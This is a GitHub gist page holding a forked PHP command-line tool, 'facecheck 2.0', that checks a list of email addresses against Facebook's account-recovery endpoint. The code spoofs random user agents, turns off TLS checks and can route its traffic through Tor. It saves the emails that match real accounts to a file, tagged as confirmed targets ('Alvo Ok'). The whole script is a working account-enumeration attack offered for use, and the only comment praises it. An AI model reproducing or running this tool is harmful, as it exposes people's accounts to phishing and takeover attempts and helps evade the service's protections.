Skip to content

Instantly share code, notes, and snippets.

@NoThrowForwardIt
Forked from googleinurl/facecheck2.0.php
Created November 16, 2015 17:05
Show Gist options
  • Save NoThrowForwardIt/75020cdf1ad3c57e66fb to your computer and use it in GitHub Desktop.
Save NoThrowForwardIt/75020cdf1ad3c57e66fb to your computer and use it in GitHub Desktop.
Verificação de usuários Facebook 2.0
<?php
/*
E d i ç ã o - 2.0 / 29-09-2015
--------------------------------------------------------------------------------
[+] AUTOR: Cleiton Pinheiro / Nick: googleINURL
[+] Blog: http://blog.inurl.com.br
--------------------------------------------------------------------------------
*/
exec('reset');
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '256M');
ini_set('display_errors', 0);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
(!isset($_SESSION) ? session_start() : NULL);
$banner = " \033[1;37m
____ __ ___ ____ ___ _ _ ____ ___ __ _
( __)/ _\ / __)( __) / __)/ )( \( __)/ __)( / )
) _)/ \( (__ ) _) ( (__ ) __ ( ) _)( (__ ) (\033[33mv2.0\033[37m
(__) \_/\_/ \___)(____) \___)\_)(_/(____)\___)(__\_)\033[34m
=== Wisdom is Open but the Knowledge is Priv8 ===
\033[30m";
$_SESSION['config']['cont2'] = 1;
// --------------- DEFININDO LISTA DE EMAILS PARA TESTES -----------------------
echo $banner . "\n\033[1;37m[ ! ] Informe o LISTA DE EMAILS\033[30m\n";
echo "--------------------------------------------------\033[0m\n";
fwrite(STDOUT, "\033[1;37m[ ? ] [ SET ARQUIVO ]: \033[0m");
$listmail = trim(fgets(STDIN));
//------------------------------------------------------------------------------
// ------------------------- DEFININDO PROXY -----------------------------------
echo "\n\033[1;37m[ ! ] Informe tipo de PROXY\n";
echo "[ 1 ] - TOR\n";
echo "[ 2 ] - MANUAL\n";
echo "[ 3 ] - SEM PROXY / DEFAULT\n";
echo "\033[30m--------------------------------------------------\033[0m\n";
fwrite(STDOUT, "\033[1;37m[ ? ][ SET OP ]: \033[30m");
$proxy = trim(fgets(STDIN));
$proxy = (empty($proxy)) ? '3' : NULL;
//VALIDANDO SE OP PROXY FOI SETADA
$proxy = (isset($proxy) && !empty($proxy) &&
$proxy == '1' ||
$proxy == '2' ||
$proxy == '3' ? $proxy : exit("\n\033[1;31m[!] DEFINA CORRETAMENTE OP - PROXY\n\033[0m"));
//SE OP PROXY = 1 SETA ENDEREÇAMENTO PROXY PADRÃO
$proxy = ($proxy == '1') ? 'socks://127.0.0.1:9050/' : $proxy;
$proxy = ($proxy == '3') ? NULL : $proxy;
//SE OP PROXY = 2 SETAR MANUALMENTE
if ($proxy == '2') {
echo "--------------------------------------------------\033[0m\n";
fwrite(STDOUT, "\033[1;37m[ ? ][ SET PROXY MANUAL ]: \033[0m");
$proxy = trim(fgets(STDIN));
}
//------------------------------------------------------------------------------
//GERANDO USER AGENTE RANDOMICO
function __setUserAgentRandom() {
$agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox',
'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse',
'K-Meleon', 'GoogleBot', 'Konqueror', 'Minimo', 'Googlebot', 'WeltweitimnetzBrowser', 'SuperBot', 'TerrawizBot', 'YodaoBot', 'Wyzo', 'Grail',
'PycURL', 'Galaxy', 'EnigmaFox', '008', 'ABACHOBot', 'Bimbot', 'Covario IDS', 'iCab', 'KKman', 'Oregano', 'WorldWideWeb', 'Wyzo', 'GNU IceCat',
'Vimprobable', 'uzbl', 'Slim Browser', 'Flock', 'OmniWeb', 'Rockmelt', 'Shiira', 'Swift', 'Pale Moon', 'Camino', 'Flock', 'Galeon', 'Sylera'
);
$agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD',
'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix',
'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux',
'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu',
'Fluxbuntu', 'Freespire', 'GNewSense', 'Gobuntu', 'gOS', 'Mint Linux', 'Kubuntu', 'Xubuntu', 'ZeVenOS', 'Zebuntu', 'DemoLinux',
'Dreamlinux', 'DualOS', 'eLearnix', 'Feather Linux', 'Famelix', 'FeniX', 'Gentoo', 'GoboLinux', 'GNUstep', 'Insigne Linux',
'Kalango', 'KateOS', 'Knoppix', 'Kurumin', 'Dizinha', 'TupiServer', 'Linspire', 'Litrix', 'Mandrake', 'Mandriva', 'MEPIS',
'Musix GNU Linux', 'Musix-BR', 'OneBase Go', 'openSuSE', 'pQui Linux', 'PCLinuxOS', 'Plaszma OS', 'Puppy Linux', 'QiLinux',
'Red Hat Linux', 'Red Hat Enterprise Linux', 'CentOS', 'Fedora', 'Resulinux', 'Rxart', 'Sabayon Linux', 'SAM Desktop', 'Satux',
'Slackware', 'GoblinX', 'Slax', 'Zenwalk', 'SuSE', 'Caixa Mágica', 'HP-UX', 'IRIX', 'OSF/1', 'OS-9', 'POSYS', 'QNX', 'Solaris',
'OpenSolaris', 'SunOS', 'SCO UNIX', 'Tropix', 'EROS', 'Tru64', 'Digital UNIX', 'Ultrix', 'UniCOS', 'UNIflex', 'Microsoft Xenix',
'z/OS', 'Xinu', 'Research Unix', 'InfernoOS'
);
$locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO',
'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar',
'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs',
'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA',
'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE',
'de_LU', 'de_CH', 'de', 'el_CY', 'el_GR', 'el', 'iw_IL', 'iw', 'hi_IN', 'hu_HU', 'hu', 'is_IS', 'is', 'in_ID', 'in', 'ga_IE',
'ga', 'it_IT', 'it_CH', 'it', 'ja_JP', 'ja_JP_JP', 'ja', 'ko_KR', 'ko', 'lv_LV', 'lv', 'lt_LT', 'lt', 'mk_MK', 'mk', 'ms_MY',
'ms', 'mt_MT', 'mt', 'no_NO', 'no_NO_NY', 'no', 'pl_PL', 'pl', 'pt_PT', 'pt', 'ro_RO', 'ro', 'ru_RU', 'ru', 'sr_BA', 'sr_ME',
'sr_CS', 'sr_RS', 'sr', 'sk_SK', 'sk', 'sl_SI', 'sl', 'es_AR', 'es_BO', 'es_CL', 'es_CO', 'es_CR', 'es_DO', 'es_EC', 'es_SV',
'es_GT', 'es_HN', 'es_MX', 'es_NI', 'es_PA', 'es_PY', 'es_PE', 'es_PR', 'es_ES', 'es_US', 'es_UY', 'es_VE', 'es', 'sv_SE',
'sv', 'th_TH', 'th_TH_TH', 'th', 'tr_TR', 'tr', 'uk_UA', 'uk', 'vi_VN', 'vi'
);
return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)';
}
//FUNCTION PRINCIPAL
function geral($email, $proxy = NULL) {
$_SESSION['config']['cont'] = 0;
$ch = curl_init();
//DADOS POST CONCATENANDO EMAIL
$post = "&lsd=AVrNj_gH&email={$email}&did_submit=Procurar&__user=0&__a=1&__dyn=7xe1JAwZwRyUhxPLHwn84a2i5UdoS1Fx-ewICwPyEjwmE&__req=5&__rev=1959518";
//URL REQUEST CONCATENANDO POST
$url[1] = "https://www.facebook.com/ajax/login/help/identify.php?ctx=recover" . $post;
curl_setopt($ch, CURLOPT_URL, $url[1]);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, __setUserAgentRandom());
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
// -------------------- PROXY --------------------
if (!is_null($proxy)) {
curl_setopt($ch, CURLOPT_PROXY, 'socks://127.0.0.1:9050/');
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
// -----------------------------------------------
$source = curl_exec($ch);
curl_close($ch);
return (strstr($source, 'window.location.href=')) ? TRUE : FALSE;
}
(!is_file($listmail) ? exit("\n\033[1;31m[!] Não existe o Dicionário:\033[0m $listmail\n") : NULL);
$lines = array_unique(array_filter(explode("\n", file_get_contents($listmail))));
$count = count($lines);
echo "\n \033[1;33m[0xCarregando] \n";
sleep(2);
echo "\033[31m ===============================================================\n";
echo "\033[34m 0xList :: \033[37m{$listmail} -\033[34m 0xEmails :: \033[37m{$count}\n";
echo "\033[34m 0xProxy :: \033[37m{$proxy}\n";
echo "\033[31m ===============================================================\n";
echo "\033[37m - VALIANDO DADOS\033[0;0m\n\n";
$ii = 1;
foreach ($lines as $line) {
$line = str_replace("\n", "", str_replace("\r", "", $line));
$porcentaje = ($ii / $count) * 100;
$porcentaje = round($porcentaje, 0);
if (geral($line, $proxy)) {
echo " \033[1;34m Opaaaa! :\033[0m \033[1;37m{$porcentaje}%\033[0m";
echo " \033[1;34m [\033[37m{$_SESSION['config']['cont2']}\033[34m] [\033[37m" . date("H:i:s") . "\033[34m]\n";
echo " \033[1;37m [ PEII ]\033[0;30m~\033[0;37mEmail Found :: \033[39m{$line}\n";
echo " \033[1;37m [ INFO ]\033[32m AUTENTICADO COM SUCESSO! :D\033[0m\n";
echo " \033[1;37m |_____________________________________________________________________________________________\n\n";
sleep(4);
$handle = fopen('fbemails.txt', 'a');
fwrite($handle, "[ {$_SESSION['config']['cont2']} ]-[" . date("H:i:s") . "]-{Alvo Ok}\n ~> https://www.facebook.com/recover/code?em[0]={$line}&hash=AVrNj_gH\n[ - ]::-----------------------------------------------------------------\n\n");
fclose($handle);
} else {
echo " \033[1;34m Andamento em:\033[0m \033[1;37m" . round($porcentaje, 0) . "%\033[0m";
echo " \033[1;34m [\033[37m{$_SESSION['config']['cont2']}\033[34m] [\033[37m" . date("H:i:s") . "\033[34m]\n";
echo " \033[1;37m [ LINK ]\033[0;30m~\033[0;37mhttps://m.facebook.com/login/identify?ctx=recover\n";
echo " \033[1;37m [ DATA ]\033[0;30m~\033[37memail=\033[1;37m{$line}\n";
echo " \033[1;37m [ INFO ]\033[0;30m~\033[0;37mEmail :: \033[31m{$line}\033[37m NÃO ENCONTRADO!\033[0m \n";
echo " \033[1;37m |_____________________________________________________________________________________________\n\n";
sleep(4);
$handle = fopen('fbemailF.txt', 'a');
fwrite($handle, "[ {$_SESSION['config']['cont2']} ]-[" . date("H:i:s") . "]-{Alvo Fail}\n [ - ] ~> https://www.facebook.com/recover/code?em[0]={$line}&hash=AVrNj_gH\n[ - ]::-----------------------------------------------------------------\n\n");
fclose($handle);
}
$_SESSION['config']['cont2'] ++;
$ii++;
}
echo " \033[1;37m [ - ]--------------\033[31m Escaneamento Finalizado \033[37m-------------- [ - ]\033[0;0m\n\n";
sleep(2);
@NoThrowForwardIt
Copy link
Author

great code!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment